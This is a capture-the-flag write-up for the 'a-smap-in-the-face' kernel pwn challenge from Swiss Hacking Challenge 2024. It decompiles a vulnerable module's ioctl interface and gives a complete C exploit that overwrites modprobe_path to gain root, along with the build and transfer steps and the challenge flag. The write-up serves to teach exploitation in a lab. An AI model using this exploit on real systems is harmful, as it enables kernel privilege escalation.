swiss hacking challenge 2024 - a-smap-in-the-face

Posted on May 1, 2024

Difficulty: medium

Category: pwn

Author: kiwi

Sarah from business communication told Peter from accounting about our team retreat to Brussels and now it has been CANCELED! :( We worked so hard on that, it feels like a smap in the face. Florah told me (the one who always says she wants to work out but never does and honestly everybody has given up on that idea ever happening), that Peter might have some dirt on him and if we find out we might get our trip after all. I really wanna see the statue of the peeing boy everyone is raving about, not sure what’s up with that but it must be good if people like it right? I’m not that shallow am I? Anyways IT has installed new security pipelines that apparently are extra secure, as our trip was supposed to be bugeted. Did you know they got 3 extra headcount while we had to pleeead to get an extra engineer just because Nico from network engineering brings his kids to the same daycare as Robert our head of business development so they “network” (I’m pretty sure Robert has an affair with Jessica from marketing, I always see them get flustered when they walk by). Ooooops I got sidetracked, I need to to track my worktime this week in our Jira board so can you please have a look on Peter’s computer?

Files

We get the files that run a qemu server on the remote:

a-smap-in-the-face
├── boot.sh
├── bzImage
├── Dockerfile
├── initramfs.cpio
├── pipeline.ko
└── run_qemu.sh

Exploitation

The pipeline.ko exposes us with an ioctl interface. The 0x30 ioctl call allows for a full arbitrary write within kernel space:

int64_t pipeline_ioctl(int64_t user_destination_pointer, int64_t command, int64_t temp_buffer)

if (command.d == 0x10)
    return pipeline_ioctl.cold() __tailcall
int64_t user_buffer
int64_t copy_to
int64_t n
if (command.d == 0x20)
    if (_copy_from_user(&user_buffer, temp_buffer, 0x18) == 0)
        int64_t bytes_copied_successfully
        int64_t source_buffer_address
        bytes_copied_successfully, source_buffer_address = _copy_to_user(copy_to, user_buffer, n)
        if (bytes_copied_successfully == 0)
            return ret(source_buffer_address) __tailcall
else
    if (command.d != 0x30)
        if (command.d == 0x40)
            boot()
            return 0
        if (command.d == 0x1337)
            return secret(destination_address: user_destination_pointer, command) __tailcall
        return ret(user_destination_pointer) __tailcall
    if (_copy_from_user(&user_buffer, temp_buffer, 0x18) == 0)
        int64_t bytes_copied_successfully_second
        int64_t destination_buffer_address.
        bytes_copied_successfully_second, destination_buffer_address. = _copy_from_user(user_buffer, copy_to, n)
        if (bytes_copied_successfully_second == 0)
            return ret(destination_buffer_address.) __tailcall
return -0xe

We’re running an old kernel (4.19.76) so I used the modprobe_path technique from the kernelpwn repo. Basically, Linux runs a usermode helper to run modprobe for unknown filetypes. In older kernel versions, this could be overwritten.

As ASLR is disabled, we can just search for /sbin/modprobe in a gdb session attached to qemu: 0xffff888002242260.

While developing the exploit, I used the following ugly script to repack the initramfs with my exploit:

#!/bin/bash

gcc exp.c -static
cp a.out fs/a.out

cd fs
find . | cpio -o --format=newc > ../initramfs.cpio
cd ..
. run_qemu.sh

This lead to the following final exploit:

#include <fcntl.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>

int main(void)
{

    system("sh -c \"echo -ne '\\x00\\x00\\x00\\x00' > /tmp/blob\"");
    system("sh -c \"echo '#!/bin/sh\nchmod 777 /flag' > /tmp/exe\"");
    system("chmod +x /tmp/exe /tmp/blob");
    int fd = open("/dev/pipeline", O_RDWR);

    void *arbitraryWrite[] = {
        (void *)0x0, // destination
        (void *)0x0, // source
        (void *)30,  // length
    };
    char *buf = malloc(0x10);
    memcpy(buf, "/tmp/exe", 10);
    arbitraryWrite[0] =  (void *)0xffff888002242260; // /sbin/modprobe
    arbitraryWrite[1] = buf;
    ioctl(fd, 0x30, &arbitraryWrite);

    close(fd);

    system("/tmp/blob");
    system("cat /flag");
	return EXIT_SUCCESS;
}

To reduce filesize (as we can’t just scp the file over to the instance), I used musl-gcc -static for compilng the final exploit.

All that was left was to run cat a.out | base64 and copy it over to the system:

$ cd /tmp
$ cat << EOF > exp.enc
<long base64 here>
EOF
$ cat exp.enc | base64 -d > exp
$ chmod +x exp
$ ./exp

Flag

shc2024{I_did_tax_evasion_for_fun_and_pr0fit}

Conclusion

Great introduction to kernel exploitation. The setup and writing exploits in c takes some getting used to though.